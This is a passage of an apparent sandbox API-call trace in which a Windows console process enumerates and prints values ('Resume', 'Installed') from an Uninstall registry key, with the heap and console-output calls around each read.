lpMultiByteStr="0x4588", lpUsedDefaultChar=0x0) returned 6 [0149.565] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.565] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.565] __iob_func () returned 0x7fefd702a80 [0149.565] _fileno (_File=0x7fefd702ab0) returned 1 [0149.565] _errno () returned 0x204bb0 [0149.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.565] _errno () returned 0x204bb0 [0149.565] GetFileType (hFile=0x50) returned 0x1 [0149.566] lstrlenW (lpString="\n") returned 1 [0149.566] GetConsoleOutputCP () returned 0x1b5 [0149.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.566] GetConsoleOutputCP () returned 0x1b5 [0149.566] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.566] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.566] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.566] GetProcessHeap () returned 0x3c0000 [0149.566] GetProcessHeap () returned 0x3c0000 [0149.566] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.566] GetProcessHeap () returned 0x3c0000 [0149.566] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.566] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.566] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Resume", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.566] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.566] GetProcessHeap () returned 0x3c0000 [0149.566] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.566] GetProcessHeap () returned 0x3c0000 [0149.566] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.566] GetProcessHeap () returned 0x3c0000 [0149.566] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.566] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0149.566] __iob_func () returned 0x7fefd702a80 [0149.566] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.566] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.566] _fileno (_File=0x7fefd702ab0) returned 1 [0149.566] _errno () returned 0x204bb0 [0149.566] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.567] _errno () returned 0x204bb0 [0149.567] GetFileType (hFile=0x50) returned 0x1 [0149.567] lstrlenW (lpString=" ") returned 4 [0149.567] GetConsoleOutputCP () returned 0x1b5 [0149.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.567] GetConsoleOutputCP () returned 0x1b5 [0149.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.567] lstrlenW (lpString="Resume") returned 6 [0149.567] __iob_func () returned 0x7fefd702a80 [0149.567] _fileno (_File=0x7fefd702ab0) returned 1 [0149.567] _errno () returned 0x204bb0 [0149.567] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.567] _errno () returned 0x204bb0 [0149.567] GetFileType (hFile=0x50) returned 0x1 [0149.567] lstrlenW (lpString="Resume") returned 6 [0149.567] GetConsoleOutputCP () returned 0x1b5 [0149.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.567] GetConsoleOutputCP () returned 0x1b5 [0149.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resume", lpUsedDefaultChar=0x0) returned 6 [0149.567] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.567] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.568] __iob_func () returned 0x7fefd702a80 [0149.568] _fileno (_File=0x7fefd702ab0) returned 1 [0149.568] _errno () returned 0x204bb0 [0149.568] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.568] _errno () returned 0x204bb0 [0149.568] GetFileType (hFile=0x50) returned 0x1 [0149.568] lstrlenW (lpString=" ") returned 4 [0149.568] GetConsoleOutputCP () returned 0x1b5 [0149.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.568] GetConsoleOutputCP () returned 0x1b5 [0149.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.568] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.568] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.568] __iob_func () returned 0x7fefd702a80 [0149.568] _fileno (_File=0x7fefd702ab0) returned 1 [0149.568] _errno () returned 0x204bb0 [0149.568] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.568] _errno () returned 0x204bb0 [0149.568] GetFileType (hFile=0x50) returned 0x1 [0149.568] lstrlenW (lpString="REG_DWORD") returned 9 [0149.568] GetConsoleOutputCP () returned 0x1b5 [0149.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.568] GetConsoleOutputCP () returned 0x1b5 [0149.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.569] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.569] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.569] __iob_func () returned 0x7fefd702a80 [0149.569] _fileno (_File=0x7fefd702ab0) returned 1 [0149.569] _errno () returned 0x204bb0 [0149.569] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.569] _errno () returned 0x204bb0 [0149.569] GetFileType (hFile=0x50) returned 0x1 [0149.569] lstrlenW (lpString=" ") returned 4 [0149.569] GetConsoleOutputCP () returned 0x1b5 [0149.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.569] GetConsoleOutputCP () returned 0x1b5 [0149.569] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.569] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.569] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.569] __iob_func () returned 0x7fefd702a80 [0149.569] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.569] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0149.569] _fileno (_File=0x7fefd702ab0) returned 1 [0149.569] _errno () returned 0x204bb0 [0149.569] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.569] _errno () returned 0x204bb0 [0149.569] GetFileType (hFile=0x50) returned 0x1 [0149.569] lstrlenW (lpString="0x3") returned 3 [0149.570] GetConsoleOutputCP () returned 0x1b5 [0149.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.570] GetConsoleOutputCP () returned 0x1b5 [0149.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0149.570] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.570] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.570] __iob_func () returned 0x7fefd702a80 [0149.570] _fileno (_File=0x7fefd702ab0) returned 1 [0149.570] _errno () returned 0x204bb0 [0149.570] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.570] _errno () returned 0x204bb0 [0149.570] GetFileType (hFile=0x50) returned 0x1 [0149.570] lstrlenW (lpString="\n") returned 1 [0149.570] GetConsoleOutputCP () returned 0x1b5 [0149.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.570] GetConsoleOutputCP () returned 0x1b5 [0149.570] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.570] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.570] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.570] GetProcessHeap () returned 0x3c0000 [0149.570] GetProcessHeap () returned 0x3c0000 [0149.570] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.570] GetProcessHeap () returned 0x3c0000 [0149.571] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.571] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.571] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Installed", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.571] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.571] GetProcessHeap () returned 0x3c0000 [0149.571] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.571] GetProcessHeap () returned 0x3c0000 [0149.571] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.571] GetProcessHeap () returned 0x3c0000 [0149.571] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.571] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0149.571] __iob_func () returned 0x7fefd702a80 [0149.571] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.571] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.571] _fileno (_File=0x7fefd702ab0) returned 1 [0149.571] _errno () returned 0x204bb0 [0149.571] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.571] _errno () returned 0x204bb0 [0149.571] GetFileType (hFile=0x50) returned 0x1 [0149.571] lstrlenW (lpString=" ") returned 4 [0149.571] GetConsoleOutputCP () returned 0x1b5 [0149.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.571] GetConsoleOutputCP () returned 0x1b5 [0149.571] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.571] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.571] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.572] lstrlenW (lpString="Installed") returned 9 [0149.572] __iob_func () returned 0x7fefd702a80 [0149.572] _fileno (_File=0x7fefd702ab0) returned 1 [0149.572] _errno () returned 0x204bb0 [0149.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.572] _errno () returned 0x204bb0 [0149.572] GetFileType (hFile=0x50) returned 0x1 [0149.572] lstrlenW (lpString="Installed") returned 9 [0149.572] GetConsoleOutputCP () returned 0x1b5 [0149.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.572] GetConsoleOutputCP () returned 0x1b5 [0149.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Installed", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Installed", lpUsedDefaultChar=0x0) returned 9 [0149.572] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.572] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.572] __iob_func () returned 0x7fefd702a80 [0149.572] _fileno (_File=0x7fefd702ab0) returned 1 [0149.572] _errno () returned 0x204bb0 [0149.572] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.572] _errno () returned 0x204bb0 [0149.572] GetFileType (hFile=0x50) returned 0x1 [0149.572] lstrlenW (lpString=" ") returned 4 [0149.572] GetConsoleOutputCP () returned 0x1b5 [0149.572] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.572] GetConsoleOutputCP () returned 0x1b5 [0149.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.573] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.573] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.573] __iob_func () returned 0x7fefd702a80 [0149.573] _fileno (_File=0x7fefd702ab0) returned 1 [0149.573] _errno () returned 0x204bb0 [0149.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.573] _errno () returned 0x204bb0 [0149.573] GetFileType (hFile=0x50) returned 0x1 [0149.573] lstrlenW (lpString="REG_DWORD") returned 9 [0149.573] GetConsoleOutputCP () returned 0x1b5 [0149.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.573] GetConsoleOutputCP () returned 0x1b5 [0149.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.573] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.573] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.573] __iob_func () returned 0x7fefd702a80 [0149.573] _fileno (_File=0x7fefd702ab0) returned 1 [0149.573] _errno () returned 0x204bb0 [0149.573] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.573] _errno () returned 0x204bb0 [0149.573] GetFileType (hFile=0x50) returned 0x1 [0149.573] lstrlenW (lpString=" ") returned 4 [0149.573] GetConsoleOutputCP () returned 0x1b5 [0149.573] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.574] GetConsoleOutputCP () returned 0x1b5 [0149.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.574] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.574] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.574] __iob_func () returned 0x7fefd702a80 [0149.574] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.574] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0149.574] _fileno (_File=0x7fefd702ab0) returned 1 [0149.574] _errno () returned 0x204bb0 [0149.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.574] _errno () returned 0x204bb0 [0149.574] GetFileType (hFile=0x50) returned 0x1 [0149.574] lstrlenW (lpString="0x1") returned 3 [0149.574] GetConsoleOutputCP () returned 0x1b5 [0149.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.574] GetConsoleOutputCP () returned 0x1b5 [0149.574] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0149.574] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.574] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.574] __iob_func () returned 0x7fefd702a80 [0149.574] _fileno (_File=0x7fefd702ab0) returned 1 [0149.574] _errno () returned 0x204bb0 [0149.574] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.574] _errno () returned 0x204bb0 [0149.574] GetFileType (hFile=0x50) returned 0x1 [0149.575] lstrlenW (lpString="\n") returned 1 [0149.575] GetConsoleOutputCP () returned 0x1b5 [0149.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.575] GetConsoleOutputCP () returned 0x1b5 [0149.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.575] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.575] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.575] GetProcessHeap () returned 0x3c0000 [0149.575] GetProcessHeap () returned 0x3c0000 [0149.575] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.575] GetProcessHeap () returned 0x3c0000 [0149.575] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.575] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.575] __iob_func () returned 0x7fefd702a80 [0149.575] _fileno (_File=0x7fefd702ab0) returned 1 [0149.575] _errno () returned 0x204bb0 [0149.575] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.575] _errno () returned 0x204bb0 [0149.575] GetFileType (hFile=0x50) returned 0x1 [0149.575] lstrlenW (lpString="\n") returned 1 [0149.575] GetConsoleOutputCP () returned 0x1b5 [0149.575] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.575] GetConsoleOutputCP () returned 0x1b5 [0149.576] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.576] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.576] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0) returned 1 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d78d0) returned 0x2a [0149.576] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d78d0 | out: hHeap=0x3c0000) returned 1 [0149.576] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29f894, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29f894*=0x0, lpcbMaxSubKeyLen=0x29f890, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dee90 [0149.576] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 121 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xf6) returned 0x3e1c70 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x2 [0149.576] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.576] GetProcessHeap () returned 0x3c0000 [0149.576] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xf6 [0149.576] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.576] RegCloseKey (hKey=0x5c) returned 0x0 [0149.576] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x19, lpName=0x3dbc10, lpcchName=0x29f974, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0x29f974, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0149.576] __iob_func () returned 0x7fefd702a80 [0149.576] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.576] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x29f910 | out: 